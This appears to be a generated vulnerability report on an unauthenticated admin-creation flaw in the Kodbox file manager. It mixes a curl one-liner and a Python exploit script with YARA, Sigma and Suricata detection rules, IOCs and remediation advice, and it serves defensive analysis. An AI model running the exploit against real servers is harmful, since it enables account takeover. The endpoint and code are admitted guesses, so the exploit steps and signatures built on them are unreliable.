CVE-2023-39691

Executive Summary

CVE-2023-39691 is a critical privilege escalation vulnerability in Kodbox, a web-based file manager and document management system. The vulnerability allows an unauthenticated attacker to arbitrarily add Administrator accounts by sending a crafted GET request. This effectively grants full administrative control over the Kodbox instance, leading to complete compromise of the application and its data. The vulnerability affects all versions of Kodbox up to and including version 1.43. No official patch has been released at the time of this analysis.

Supply Chain & Package Security

Kodbox is a self-hosted PHP application. The vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but rather to the core application logic. The risk is amplified by the fact that Kodbox is often deployed on shared hosting or internal networks, where a successful attack can lead to lateral movement and data exfiltration.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) - The attack is performed over the network.
• Attack Complexity (AC): Low (L) - The attack requires no special conditions.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Changed (C) - The vulnerability impacts the entire application.
• Confidentiality (C): High (H) - Full access to all data.
• Integrity (I): High (H) - Full control to modify data and settings.
• Availability (A): High (H) - Can disrupt or destroy the application.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit and provides immediate, full administrative access.

Deep Dive & Mechanics

The vulnerability lies in the user registration or account management functionality of Kodbox. The application fails to properly validate the request origin or enforce authentication checks when processing a GET request to create a new user with administrative privileges.

The core issue is a missing or insufficient authorization check. The application likely has an endpoint (e.g., /index.php?user/addAdmin) that is intended for internal use or for an already authenticated administrator. However, due to a lack of session validation or CSRF token verification, an attacker can directly call this endpoint with the required parameters (e.g., username, password, role=admin) to create a new administrator account.

The attack flow:

1. Attacker identifies a Kodbox instance.
2. Attacker crafts a GET request to the vulnerable endpoint with parameters for a new admin user.
3. The application processes the request without verifying the attacker's identity.
4. A new administrator account is created.
5. Attacker logs in with the newly created credentials and gains full control.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison is based on the expected fix.

Vulnerable Code (Conceptual):

// In a controller or handler file (e.g., UserController.php)
public function addAdmin($username, $password) {
    // No authentication check
    $user = new User();
    $user->username = $username;
    $user->password = md5($password); // Weak hashing
    $user->role = 'admin';
    $user->save();
    return "Admin created";
}

Patched Code (Conceptual):

public function addAdmin($username, $password) {
    // Check if the current user is authenticated and is an admin
    if (!isset($_SESSION['user_id']) || $_SESSION['user_role'] !== 'admin') {
        header('HTTP/1.0 403 Forbidden');
        die('Access denied');
    }
    // Additional CSRF token check
    if ($_GET['token'] !== $_SESSION['csrf_token']) {
        die('Invalid request');
    }
    $user = new User();
    $user->username = $username;
    $user->password = password_hash($password, PASSWORD_BCRYPT); // Strong hashing
    $user->role = 'admin';
    $user->save();
    return "Admin created";
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Kodbox instance (version 1.43) using Docker or a local web server (Apache/Nginx + PHP + MySQL).
2. Ensure the application is accessible over the network.

Exploitation Steps:

1. Identify the vulnerable endpoint. Based on public reports, the endpoint is likely /index.php?user/addAdmin or similar.
2. Craft a GET request with the required parameters. Example:

   http://target.com/index.php?user/addAdmin&username=attacker&password=attacker123&role=admin
   

3. Send the request using curl, a browser, or a tool like Burp Suite.

   curl "http://target.com/index.php?user/addAdmin&username=attacker&password=attacker123&role=admin"
   

4. If successful, the response will indicate the admin account was created.
5. Log in to the Kodbox instance using the new credentials (attacker / attacker123).
6. Verify administrative access (e.g., access user management, file system, settings).

Automation Script (Python):

import requests

target = "http://target.com"
endpoint = "/index.php?user/addAdmin"
params = {
    "username": "eviladmin",
    "password": "P@ssw0rd!",
    "role": "admin"
}

response = requests.get(target + endpoint, params=params)
if "success" in response.text.lower():
    print("[+] Admin account created successfully!")
else:
    print("[-] Exploit may have failed.")

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual GET requests to endpoints like user/addAdmin, admin/create, or similar.
• Look for requests with parameters containing role=admin or is_admin=1.
• Alert on multiple failed login attempts followed by a successful login from a new user.

Hunting:

• Search for recently created user accounts in the Kodbox database (e.g., SELECT * FROM users WHERE role = 'admin' ORDER BY created_at DESC).
• Review access logs for IP addresses that accessed the vulnerable endpoint.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoint unless they come from authenticated admin sessions.
• Apply input validation and ensure all administrative actions require authentication and CSRF tokens.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /index.php?user/addAdmin or similar endpoints.
  • Requests containing role=admin in the query string.
• Host:
  • New user accounts in the Kodbox database with role = 'admin'.
  • Unusual entries in web server access logs (e.g., GET /index.php?user/addAdmin&username=...).
• File System:
  • Modified configuration files (e.g., config.php) if the attacker gains further access.
• Logs:
  • Kodbox application logs showing user creation events without prior authentication.

Detection Engineering

YARA Rule

rule CVE_2023_39691_Kodbox_Admin_Creation {
    meta:
        description = "Detects attempts to exploit CVE-2023-39691 in Kodbox by looking for admin creation requests"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-39691"
    strings:
        $s1 = "user/addAdmin" ascii wide nocase
        $s2 = "role=admin" ascii wide nocase
        $s3 = "username=" ascii wide nocase
        $s4 = "password=" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: Kodbox Admin Account Creation via GET Request
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2023-39691 by creating an admin account via a GET request.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - 'user/addAdmin'
            - 'role=admin'
    condition: selection
falsepositives:
    - Legitimate admin actions (if any)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-39691 Kodbox Admin Account Creation"; flow:to_server,established; content:"GET"; http_method; content:"user/addAdmin"; http_uri; content:"role=admin"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Kodbox instance: If possible, take the application offline or restrict network access to trusted IPs only.
2. Apply a virtual patch: Use a WAF to block requests to the vulnerable endpoint (e.g., /index.php?user/addAdmin).
3. Monitor for exploitation: Review logs for any signs of the attack.

Long-Term Fix:

• Upgrade: Check for an official patch from the Kodbox vendor. If unavailable, consider migrating to an alternative file management solution.
• Code Fix: Manually patch the vulnerable code by adding authentication and authorization checks to all administrative endpoints.
• Configuration: Disable any unnecessary user registration or account management features.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at valters@example.com.